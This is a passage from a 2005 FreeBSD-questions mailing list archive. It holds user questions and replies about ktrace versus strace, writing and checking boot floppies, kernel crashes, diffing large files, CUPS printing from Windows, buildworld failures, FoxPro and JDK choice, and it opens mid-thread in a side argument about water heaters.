minute or two for the hot water to purge the colder water from the pipes. It has added benefits, and the benefits may be related to this (ie, constantly circulating water means you run it less which may be where the savings come in). I do not have the data in front of me now, but it was an interesting proposition. And more energy efficient. Not a gimmick. > >>> >>>> Also, the new >>>> tankless HW heaters look interesting... >>>> >>> >>> those have been around for at least 20 years. As most of them are >>> electric, not natural gas, your going to pay more money for heating >>> water with a bunch of those than with a central gas water heater. >>> >> >> The ones I have seen, the newer models, are GAS and are very > efficient. >> Maybe you need to get out more? > > I've seen both types. Both have been around for 20 years. Computers have been around about 50 years, but to compare todays computers to those of 50 years go is ridiculous. Do you not think that mayb e hot water technology has advanced some in 20 years? > Electric > ones seem more common, but to replace a tank type water heater you need > 80 amp service to it, which is difficult to work with so few people > have or use them. I was specifically refering to new technology, I believe gas based, tankless water heaters that are more energy efficient and can lower your energy needs. To compare this to 20 year old technology is foolish. Chad From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:28:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4687516A4D8 for ; Tue, 8 Feb 2005 18:28:34 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F9EF43D53 for ; Tue, 8 Feb 2005 18:28:33 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j18ISOGf005540 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 10:28:25 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j18ISOCE005538; Tue, 8 Feb 2005 10:28:24 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 10:28:24 -0800 From: "Loren M. Lang" To: Dan Nelson Message-ID: <20050208182824.GG8619@alzatex.com> References: <20050208115928.GE8619@alzatex.com> <20050208162429.GA82752@dan.emsphone.com> <20050208180233.GF8619@alzatex.com> <20050208181111.GC82752@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208181111.GC82752@dan.emsphone.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:28:34 -0000 On Tue, Feb 08, 2005 at 12:11:11PM -0600, Dan Nelson wrote: > In the last episode (Feb 08), Loren M. Lang said: > > On Tue, Feb 08, 2005 at 10:24:29AM -0600, Dan Nelson wrote: > > > In the last episode (Feb 08), Loren M. Lang said: > > > > I'm looking for a replacement for the strace program I used to > > > > use on linux; freebsd has a port of strace, but it just hangs > > > > everytime I use it. It looks like the bsd version of strace > > > > would be ktrace/kdump. I was able to get these to print a trace > > > > of the program I ran, but it doesn't do all the nice substatuting > > > > that strace was able to do. Mainly, I just want the first > > > > argument of open to look like a string instead of a 32 bit > > > > pointer that I can't read. I'm trying to figure out what files > > > > this program is trying to read so I can edit it's configuration > > > > file. > > > > > > The string in the NAMI line immediately after an open() call is the > > > filename in kdump output. > > > > Oh, I never noticed this since I was using grep to filter out the > > open suyscalls. In strace everything is in one line. Is there > > anything then that will work like the -e option in strace so I can > > list just the syscalls I want to see? > > grep -A1 "CALL open" is about the best you can do Wow, I used to use the -A argument all the time years ago to grep. Then at some point I stopped finding a need for it and completely forgot about that. One problem with cui vs. gui, if you don't use a feature often enough, you'll forget it even exists unless you check the manpage constantly. At least with guis, the limited features they offer are always visible. > > -- > Dan Nelson > dnelson@allantgroup.com -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:34:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 28D5C16A4CE for ; Tue, 8 Feb 2005 18:34:58 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 860AF43D46 for ; Tue, 8 Feb 2005 18:34:56 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j18IYtGf005645 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 10:34:56 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j18IYtoS005643; Tue, 8 Feb 2005 10:34:55 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 10:34:55 -0800 From: "Loren M. Lang" To: daniel Message-ID: <20050208183455.GH8619@alzatex.com> References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200502072252.53881.danstemporaryaccount@yahoo.ca> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:34:58 -0000 On Mon, Feb 07, 2005 at 10:52:53PM -0500, daniel wrote: > On February 7, 2005 10:40 pm, Chris Hill wrote: > > On Mon, 7 Feb 2005, daniel wrote: > > > i've been trying to install freebsd-5.3RELEASE on this old computer on > > > and off for days now. i downloaded the floppies, watched the thing > > > boot and each and every time, it'll get to the little beastie prompt > > > where it counts down and is *supposed* to run sysinst but instead, it > > > just reboots! > > > > That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway. > > The 16M you cite below seems a bit meager. > > well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 should > be fine. but even if it weren't, you'd think there'd be some form of useful > error message instead of just rebooting. it just makes no sense. > > > I've found that *many* - maybe even most - floppies are bad out of the > > box. I buy the 25- or 50-pack, and churn through until I find two good > > ones. Sometimes it takes a while. > > how can i tell what makes a good one then? i just can't go through 50 disks > hoping to get one right. i haven't received any errors, so i'm working > under the assumption that they work. Do a diff: diff /dev/fd0 myfloppy.img If it doesn't complain then it's probably good. Also, if you use something like: dd if=myfloppy.img of=/dev/fd0 bs=1440k to make the floppy image then you should get 1+0 records in 1+0 records out with no errors if the floppies good. I also have a not of trouble finding good floppies to boot from. Just keep trying over and over. If both dd and diff succeed then it's probably something else that's the matter. I think sometimes floppy drives can be slightly out of adjustment of each other so one drive may have trouble reading the contents of a floppy made on a different drive so I try to use the same computer when I can to man the floppy and boot from it. > > > Other than the RAM, this should be fine as long as you don't plan on > > storing much data. I'd use this machine as a home gateway/firewall/NAT > > box. > > the plan at the moment is experimentation and maybe dns for one domain or > something. i just need it to install first and guessing with 50 floppies > seems a bit nuts. > > -- > what the scientists have in their briefcases is terrifying. > - nikita khrushchev > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:39:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4C4A716A4CE for ; Tue, 8 Feb 2005 18:39:22 +0000 (GMT) Received: from mci-mail.nodes.net.ad-flow.com (mci-mail.nodes.net.ad-flow.com [66.48.68.70]) by mx1.FreeBSD.org (Postfix) with ESMTP id B0FDD43D49 for ; Tue, 8 Feb 2005 18:39:21 +0000 (GMT) (envelope-from danstemporaryaccount@yahoo.ca) Received: from douglas ([66.59.162.146]) (authenticated)j18IdHK12474 for ; Tue, 8 Feb 2005 18:39:17 GMT Exocomm-Delivery-Date: Tue, 8 Feb 2005 18:39:17 GMT Exocomm-URL: www.exocomm.com From: daniel To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 13:35:43 -0500 User-Agent: KMail/1.7.2 References: <200502072107.38331.me@danielquinn.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> <20050208183455.GH8619@alzatex.com> In-Reply-To: <20050208183455.GH8619@alzatex.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502081335.43852.danstemporaryaccount@yahoo.ca> Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:39:22 -0000 On February 8, 2005 01:34 pm, Loren M. Lang wrote: > with no errors if the floppies good. I also have a not of trouble > finding good floppies to boot from. Just keep trying over and over. If > both dd and diff succeed then it's probably something else that's the > matter. I think sometimes floppy drives can be slightly out of > adjustment of each other so one drive may have trouble reading the > contents of a floppy made on a different drive so I try to use the same > computer when I can to man the floppy and boot from it. wow. alright, you've just convinced me to transplant the hard drive to another machine and boot from there. it'll install faster and i won't have to worry so much about the reliability of floppies. -- the trouble with the world is that the stupid are cocksure and the intelligent are full of doubt. - bertrand russell From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:45:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B3CDC16A4CE for ; Tue, 8 Feb 2005 18:45:49 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7BBAA43D46 for ; Tue, 8 Feb 2005 18:45:49 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id AF9B151297; Tue, 8 Feb 2005 10:45:48 -0800 (PST) Date: Tue, 8 Feb 2005 10:45:48 -0800 From: Kris Kennaway To: Payment Online Message-ID: <20050208184548.GA76381@xor.obsecurity.org> References: <21fe04a8050208095747fa487a@mail.gmail.com> <21fe04a805020810053b383442@mail.gmail.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="d6Gm4EdcadzBjdND" Content-Disposition: inline In-Reply-To: <21fe04a805020810053b383442@mail.gmail.com> User-Agent: Mutt/1.4.2.1i cc: FreeBSD Questions Subject: Re: 5.3 release crash X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:45:49 -0000 --d6Gm4EdcadzBjdND Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Feb 08, 2005 at 10:05:13AM -0800, Payment Online wrote: > On Tue, 8 Feb 2005 09:57:19 -0800, Payment Online = wrote: > > I just had a 5.3-release-p2 box crash on me. This box is in > > production so I don't have any debugging information whatsoever. > > However, I'm hoping someone could tell me if what I think caused it is > > possible/probable. > >=20 > > Not long before it crashed I was running some stress tests against a > > new threaded server I was building in python by running 5-10 clients > > simultaneously for about an hour. Since this box has been stable > > for almost a year without any issues at all, I really doubt that it's > > a coincidence. Can anyone think of what issues with threads could > > cause a panic? > >=20 > > Chris > >=20 > One more thing, the threaded application was running in a jail. Not > sure if that could make any difference. Unfortunately you probably need to obtain the debugging information in order to diagnose this. Setting up crashdumps isn't hard and doesn't interfere with production machines. Kris --d6Gm4EdcadzBjdND Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCQjcWry0BWjoQKURApmHAKD2oX7dIWuml96HO6SuKO6c6MRAsACeOr+E i5/wLJ7pWeSfko0T5VRH78U= =W4iS -----END PGP SIGNATURE----- --d6Gm4EdcadzBjdND-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:46:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E95FB16A4CE for ; Tue, 8 Feb 2005 18:46:19 +0000 (GMT) Received: from mail.ciam.ru (mail.ciam.ru [213.147.57.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5294E43D5D for ; Tue, 8 Feb 2005 18:46:19 +0000 (GMT) (envelope-from sem@ciam.ru) Received: from ppp83-237-98-98.pppoe.mtu-net.ru ([83.237.98.98] helo=[192.168.0.2]) by mail.ciam.ru with esmtpa (Exim 4.x) id 1CyaNN-0003qb-VE for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 21:46:18 +0300 Message-ID: <420908FF.8030604@ciam.ru> Date: Tue, 08 Feb 2005 21:46:23 +0300 From: Sergey Matveychuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: diff: memory exhausted X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:46:20 -0000 How can I compare two big text files? -- Sem. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:55:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0883816A4CE for ; Tue, 8 Feb 2005 18:55:54 +0000 (GMT) Received: from spatula.dreamhost.com (spatula.dreamhost.com [66.33.205.9]) by mx1.FreeBSD.org (Postfix) with ESMTP id AA1F643D45 for ; Tue, 8 Feb 2005 18:55:53 +0000 (GMT) (envelope-from lists@tntluoma.com) Received: from [192.168.1.2] (adsl-68-252-33-33.dsl.wotnoh.ameritech.net [68.252.33.33]) by spatula.dreamhost.com (Postfix) with ESMTP id 97A2817D02D for ; Tue, 8 Feb 2005 10:55:52 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: FreeBSD Mailing List From: Timothy Luoma Date: Tue, 8 Feb 2005 13:55:52 -0500 X-Mailer: Apple Mail (2.619.2) Subject: CUPS server + Windows client X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:55:54 -0000 The good news is that I can print from a Windows machine to my Brother 1240 connected via USB by using CUPS. The bad news is that whenever you look at the printer on the Windows machine, it says "Access denied, unable to connect" in the "Status" Therefore it does not show jobs waiting to be printed, nor does it allow for their control (delete / pause jobs especially). I've looked through the CUPS config stuff and don't see anything missing, but I'm far from an expert. Here's the relevant config info (NOTE: the Windows machine is on 192.168.1.x) $ fgrep -v '#' /usr/local/etc/cups/cupsd.conf|grep "." LogLevel info Port 631 Browsing On BrowseProtocols cups BrowseAllow address Order Deny,Allow Deny From All Allow From 127.0.0.1 Allow from 192.168. AuthType None AuthType None Order Deny,Allow Deny From All Allow From 127.0.0.1 Allow from 192.168.1 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:18:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2A87C16A4CE for ; Tue, 8 Feb 2005 19:18:58 +0000 (GMT) Received: from server.hostingcertified.com (server.hostingcertified.com [69.50.212.214]) by mx1.FreeBSD.org (Postfix) with ESMTP id EB02943D48 for ; Tue, 8 Feb 2005 19:18:57 +0000 (GMT) (envelope-from lists@haubworld.org) Received: from ip-geetel-216-21-177-193.geetel.net ([216.21.177.193] helo=Main) by server.hostingcertified.com with smtp (Exim 4.43) id 1Cyat2-0003i3-4d for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 12:19:00 -0700 Message-ID: <008c01c50e13$10443480$0100a8c0@Main> From: "lists" To: Date: Tue, 8 Feb 2005 14:18:58 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-PopBeforeSMTPSenders: haubenst@haubworld.org,hehaub@haubworld.org,hepowernet@haubworld.org,lists@haubworld.org,resume@haubworld.org X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server.hostingcertified.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - haubworld.org X-Source: X-Source-Args: X-Source-Dir: Subject: make buildworld broke X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:18:58 -0000 I had a box crash and I got it up again. I lost some information in / and /etc. After some reconstructing, it seems to be running fine and all the services are working. I wanted to do a buildworld just to update anything I might have missed. When I try, I always get a stop error. How can I get my buildworld back, I dont want to take the box offline for long. I also need to add another proc to it, which means I need to add smp support, which I can't currently do. What is the best course of action for me from here? Am I overlooking something simple? FreeBSD 5.2.1-RELEASE FreeBSD 5.2.1-RELEASE #0: TIA From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:31:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9FE4016A4CE for ; Tue, 8 Feb 2005 19:31:03 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 30FB143D39 for ; Tue, 8 Feb 2005 19:31:03 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j18JUtWe029998; Tue, 8 Feb 2005 13:30:55 -0600 (CST) (envelope-from dan) Date: Tue, 8 Feb 2005 13:30:55 -0600 From: Dan Nelson To: Sergey Matveychuk Message-ID: <20050208193055.GD82752@dan.emsphone.com> References: <420908FF.8030604@ciam.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420908FF.8030604@ciam.ru> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.6i cc: freebsd-questions@freebsd.org Subject: Re: diff: memory exhausted X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:31:03 -0000 In the last episode (Feb 08), Sergey Matveychuk said: > How can I compare two big text files? diff -H might help, or you can try installing the textproc/2bsd-diff port which apparently doesn't try to load the files into RAM, so it can work on large files more easily. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:34:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 18F6A16A4CE for ; Tue, 8 Feb 2005 19:34:12 +0000 (GMT) Received: from mail.eaznet.com (stout.eaznet.com [198.182.68.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id BD18B43D4C for ; Tue, 8 Feb 2005 19:34:11 +0000 (GMT) (envelope-from dreyes@eaznet.com) Received: from localhost (localhost.eaznet.com [127.0.0.1]) by mail.eaznet.com (Postfix) with ESMTP id 55093106D91 for ; Tue, 8 Feb 2005 12:25:55 -0700 (MST) Received: from mail.eaznet.com ([127.0.0.1]) by localhost (stout.eaznet.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08500-10 for ; Tue, 8 Feb 2005 12:25:55 -0700 (MST) Received: from mobiled (green143.eaznet.com [198.182.71.143]) by mail.eaznet.com (Postfix) with ESMTP id 00E50106D73 for ; Tue, 8 Feb 2005 12:25:55 -0700 (MST) From: "Dante Reyes" To: Date: Tue, 8 Feb 2005 12:34:42 -0700 Organization: GilaTechnologies MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 thread-index: AcUOFTt9CxEJFEbrQ7+qPdzBuPvKXg== Message-Id: <20050208192555.00E50106D73@mail.eaznet.com> X-VirusScanned: by AMaViSClamAV at mail.eaznet.com Subject: help with foxpro and FreeBSD 4.5 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dreyes@eaznet.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:34:12 -0000 I am currently trying to install FoxPro 2.6 for unix onto FreeBSD = 4.5.=A0 However, any time I try to run FoxPro, I get the message "Too many files open."=A0 After doing some research, it does not appear a file handling problem. Does anyone have any insight into this? Please reply to eddie@eaznet.com Thanks, Eddie Fry eddie@eaznet.com EAZNet Internet Services --=20 No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.6 - Release Date: 2/7/2005 =20 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:38:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B629A16A4CE for ; Tue, 8 Feb 2005 19:38:17 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id 153CD43D5E for ; Tue, 8 Feb 2005 19:38:17 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so960706wri for ; Tue, 08 Feb 2005 11:38:07 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=Vtp41wgOIHM8IIy7oLYdCYUUlCZ69xmAnTZEjOR0zlqON0kurfM+xBd5akNpoLl56I/qVI0bNl04w90jdBNWo76xQ6ebqwv1Vky0iIhnmkrRTgqrdlSlXF7GJ8+pIHN4KnuDVo4LOWwMr3U+XRWj7SAmAMtkeAjyeflasOpGTOQ= Received: by 10.54.28.14 with SMTP id b14mr243303wrb; Tue, 08 Feb 2005 11:38:07 -0800 (PST) Received: by 10.54.42.28 with HTTP; Tue, 8 Feb 2005 11:38:07 -0800 (PST) Message-ID: <810a540e050208113841d0eb9e@mail.gmail.com> Date: Tue, 8 Feb 2005 12:38:07 -0700 From: Pat Maddox To: Chad Morland In-Reply-To: <8ca9329050208091625c28d07@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <8ca9329050208091625c28d07@mail.gmail.com> cc: freebsd-questions@freebsd.org Subject: Re: Best JDK for performance? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:38:17 -0000 Hi Chad, I wrestled with this for a while, I didn't find much useful information. I've got a website on FreeBSD and JBoss4, with the native JDK, and it runs really well. No crashes and no memory issues that I can see so far. Pat On Tue, 8 Feb 2005 12:16:11 -0500, Chad Morland wrote: > Which JDK gives the best performance on FreeBSD? I have the following > installed from ports: > > /usr/local/jdk1.4.2 > /usr/local/linux-sun-jdk1.4.2 > > -CM > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:40:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5673416A4CE for ; Tue, 8 Feb 2005 19:40:28 +0000 (GMT) Received: from pi.codefab.com (pi.codefab.com [199.103.21.227]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1F29B43D2F for ; Tue, 8 Feb 2005 19:40:28 +0000 (GMT) (envelope-from cswiger@mac.com) Received: from localhost (localhost [127.0.0.1]) by pi.codefab.com (Postfix) with ESMTP id 676A55D11; Tue, 8 Feb 2005 14:40:27 -0500 (EST) Received: from pi.codefab.com ([127.0.0.1]) by localhost (pi.codefab.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29391-09; Tue, 8 Feb 2005 14:40:26 -0500 (EST) Received: from [192.168.1.100] (pool-68-161-50-112.ny325.east.verizon.net [68.161.50.112]) by pi.codefab.com (Postfix) with ESMTP id 7E5755CEC; Tue, 8 Feb 2005 14:40:26 -0500 (EST) Message-ID: <42091581.8020008@mac.com> Date: Tue, 08 Feb 2005 14:39:45 -0500 From: Chuck Swiger Organization: The Courts of Chaos User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Sergey Matveychuk References: <420908FF.8030604@ciam.ru> In-Reply-To: <420908FF.8030604@ciam.ru> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at codefab.com cc: freebsd-questions@freebsd.org Subject: Re: diff: memory exhausted X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:40:28 -0000 Sergey Matveychuk wrote: > How can I compare two big text files? Does the -H option help any? (How big is big?) -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:45:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9088416A4CE for ; Tue, 8 Feb 2005 19:45:22 +0000 (GMT) Received: from thunderbird.etv.net (thunderbird.etv.net [208.14.190.163]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3C32C43D3F for ; Tue, 8 Feb 2005 19:45:22 +0000 (GMT) (envelope-from richard@badlandsfab.com) Received: from [204.117.68.52] (helo=shop) by thunderbird.etv.net with esmtp (Exim 4.34 (FreeBSD)) id 1CybIX-000IjG-8c for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 12:45:21 -0700 Date: Tue, 08 Feb 2005 12:45:20 -0700 To: freebsd-questions@freebsd.org From: "Richard Blanchard" Organization: Badlands Fab and Machine Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: User-Agent: Opera M2/7.54u1 (Win32, build 3918) Subject: Failed Install Gigabyte motherboard w/RAID X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: 